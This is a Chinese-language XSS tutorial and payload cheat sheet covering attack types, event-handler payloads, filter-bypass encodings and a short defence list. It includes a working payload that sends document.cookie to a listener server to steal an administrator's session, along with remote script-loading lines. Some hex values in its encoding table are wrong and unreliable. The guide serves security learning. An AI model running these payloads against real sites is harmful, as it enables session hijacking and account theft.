【漏洞】XSS跨站脚本攻击

前言

跨网站指令码(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程式的安全漏洞攻击,是代码注入的一种。它允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。(维基百科

漏洞原理

  • 站点可以执行用户输入的HTML代码,且可以保存这段HTML代码

常见业务

  • 留言板

漏洞种类

  • DOM型XSS
    • 在请求的参数中(也有可能存在于锚点中)实现XSS,但是仅仅对此次访问产生影响
  • 反射型XSS(Reflected)
    • 你提交的数据成功的实现了XSS,但是仅仅是对此次访问产生了影响,是非持久性攻击
  • 存储型XSS(Stored)
    • 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发,是持久性攻击
  • 突变型mXSS
  • 通用型UXSS
  • Flash XSS
  • UTF-7 XSS
  • MHTML XSS
  • CSS XSS
  • VBScript XSS

漏洞利用

可以用于测试XSS攻击的JS语句

1
alert(1)
1
confirm(1)
1
prompt(1)

可以用于XSS攻击的HTML标签

手动触发JS伪协议

  • 任何可以触发点击事件的属性
1
<div onclick="javascript:alert(1);">1</div>
  • 超链接
1
<a href="javascript:alert(1);">1</a>
  • 提交表单
1
<form action="javascript:alert(1);"><input type="submit"></form>
  • 切换细节展开或隐藏
1
<details ontoggle="javascript:alert(1);"></details>

自动触发JS伪协议

  • 图片资源加载错误自动触发XSS
1
<img src="" onerror="javascript:alert(1);">
  • 视频资源加载错误自动触发XSS
1
<video><source onerror="javascript:alert(1);"></video>
  • 音频资源加载错误自动触发XSS
1
<audio src="" onerror="javascript:alert(1);"></audio>
  • 输入框自动获取焦点并触发XSS,这种方式会无限弹窗
1
<input onfocus="javascript:alert(1);" autofocus>
  • 文本域自动获取焦点并触发XSS,这种方法会无限弹窗
1
<textarea onfocus="javascript:alert(1);" autofocus></textarea>
  • 下拉选框自动获取焦点并触发XSS,这种方法会无限弹窗
1
<select onfocus="javascript:alert(1);" autofocus></select>
  • 细节自动展开并触发XSS
1
<details ontoggle="javascript:alert(1);" open></details>
  • body加载完成自动触发XSS
1
<body onload="javascript:alert(1);"></body>
  • SVG加载完成自动触发XSS
1
<svg onload="javascript:alert(1);"></svg>
  • 悬浮框架加载完成自动触发XSS
1
<iframe onload="javascript:alert(1);"></iframe>
  • 悬浮框架资源自动加载自动触发XSS
1
<iframe src="javascript:alert(1);">1</iframe>

HTTP请求带外

  • 通过HTTP请求带外获取管理员Cookie
  1. 启动Web服务器
1
python -m http.server 8080
  1. 写入XSS

http://127.0.0.1:8080/?:自己的服务器,用于接收反弹的请求,?后以参数的形式携带敏感数据

1
<script>document.write(`<img src="http://127.0.0.1:8080/?${document.cookie}">`);</script>
  1. 等待管理员访问,HTTP请求携带Cookie

可以发请求的HTML标签

自动触发发送请求
1
<script src="http://127.0.0.1:8080/?"></script>
1
<img src="http://127.0.0.1:8080/?">
  • 仅旧版浏览器有效
1
<link rel="import" href="http://127.0.0.1:8080/?">
手动触发发送请求
1
<a href="http://127.0.0.1:8080/?"></a>

关键字绕过

关键字过滤绕过

通过大小写绕过关键字过滤

  • 如果服务器做了字符串script匹配过滤,并且没有提前将所有字符串转换为小写,由于浏览器不区分大小写,可以采用大小写绕过
1
<Script>alert(1)</Script>

通过双写绕过关键字过滤

  • 如果服务器做了字符串script匹配过滤,并且将匹配到的字符串置为空,可以采用双写绕过
1
<scripscriptt>alert(1)</script>

通过其他编码绕过关键字过滤

HTML编码
  • 浏览器会自动解码
字符 原ASCII编码十进制 HTML可解码的ASCII编码(十进制) HTML可解码的ASCII编码(十六进制)
a 97 &#97; &#x61;
制表符 9 &#9; &#x90;
换行符 10 &#10; &#xA0;
回车符 13 &#13; &#xD0;
1
<a href="j&#97;v&#x61;script:alert(1)"></a>
Unicode编码
  • 浏览器会自动解码
1
<img src="" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')">

通过拆分关键字绕过关键字过滤

  • 如果服务器做了关键字匹配过滤,可以将关键字拆分成多个字符串变量,最后将字符串合并,通过eval()执行
1
2
3
<script>let a = 'a'</script>
<script>let b = 'lert'</script>
<script>eval(a+b+'(1)')</script>

空格过滤绕过

  • 如果服务器做了空格匹配过滤,可以使用/作为分隔符
1
<a/href="javascript:alert(1)"></a>
  • 如果服务器做了空格匹配过滤,可以使用制表符、回车符、换行符、分页符作为换行符
1
<scrip	t>alert(1)</scrip	t>
1
2
3
<scrip
t>alert(1)</scrip
t>

引号过滤绕过

改用双引号

1
<a href="javascript:alert(1)"></a>

改用单引号

1
<a href='javascript:alert(1)'></a>

改为不使用引号

1
<a href=javascript:alert(1)></a>

ShellCode调用的位置

  • 直接将xss代码写在js文件中,远程调用
1
<script src="http://127.0.0.1:80/xss.js"></script>
  • 构造出如下请求,将xss代码通过window.location.hash存储在地址中
request
1
GET /?xss=<script>eval(window.location.hash.substr(1))</script>#alert(1)
  • 将xss代码写在html中,利用AJAX发送请求远程调用

  • 将xss代码写在Cookie中

过滤探测

1
<script script "'OOnn>
  • 探测代码执行后通过审查元素,查看哪些字符被过滤了
  • 可以探测到是否有引号过滤、是否有尖括号过滤、是否有关键字过滤、是否进行大小写转换

防御

  • 通过字符过滤防御所有XSS
  • 通过限制输入的字符串长度防御所有XSS
  • 通过将特殊字符转义的方式防御所有XSS
  • 通过HTTPOnly的方式存储Cookie防御通过XSS窃取Cookie
  • 通过设置CSP(Content Security Policy)控制向外发送请求的限制

完成

参考文献

哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec
先知社区——By七友